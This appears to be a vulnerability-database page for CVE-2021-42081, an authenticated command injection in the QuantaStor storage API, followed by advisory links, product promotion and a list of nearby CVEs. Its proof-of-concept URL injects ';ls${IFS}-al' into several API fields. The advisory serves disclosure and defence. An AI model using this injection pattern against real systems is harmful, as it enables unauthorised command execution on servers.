CVE-2021-42081

An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al

• CWE-78
• CWE-78

• https://csirt.divd.nl/CVE-2021-42081Third Party Advisory
• https://csirt.divd.nl/DIVD-2021-00020/
• https://www.osnexus.com/products/software-defined-storageProduct
• https://www.wbsec.nl/osnexusThird Party Advisory
• https://csirt.divd.nl/CVE-2021-42081Third Party Advisory
• https://www.divd.nl/DIVD-2021-00020
• https://www.osnexus.com/products/software-defined-storageProduct
• https://www.wbsec.nl/osnexusThird Party Advisory

Published

Jul 10, 2023

Last Modified

Jun 17, 2026

Status

Modified

• How Strix found a critical auth bypass in etcdStrix autonomously discovered a critical authentication bypass in etcd, later designated CVE-2026-33413.
• Autonomous PentestingAI agents that find and validate exploitable vulnerabilities like this one across your applications.
• PR ReviewsPentest every pull request so vulnerable code is caught before it ships to production.
• AI Penetration TestingHow AI-driven penetration testing continuously covers your attack surface.

• CVE-2021-42076An issue was discovered in Barrier before 2.3.4. An attacker…7.5
• CVE-2021-42077PHP Event Calendar before 2021-09-03 allows SQL injection, a…9.8
• CVE-2021-42078PHP Event Calendar through 2021-11-04 allows persistent cros…6.1
• CVE-2021-42079An authenticated administrator is able to prepare an alert t…4.9
• CVE-2021-4208The ExportFeed WordPress plugin through 2.0.1.0 does not san…7.2
• CVE-2021-42080An attacker is able to launch a Reflected XSS attack using a…7.4
• CVE-2021-42082Local users are able to execute scripts under root privilege…7.8
• CVE-2021-42083An authenticated attacker is able to create alerts that trig…5.4
• CVE-2021-42084An issue was discovered in Zammad before 4.1.1. An attacker …6.5
• CVE-2021-42085An issue was discovered in Zammad before 4.1.1. There is sto…5.4
• CVE-2021-42086An issue was discovered in Zammad before 4.1.1. An Agent acc…8.8
• CVE-2021-42087An issue was discovered in Zammad before 4.1.1. An admin can…4.9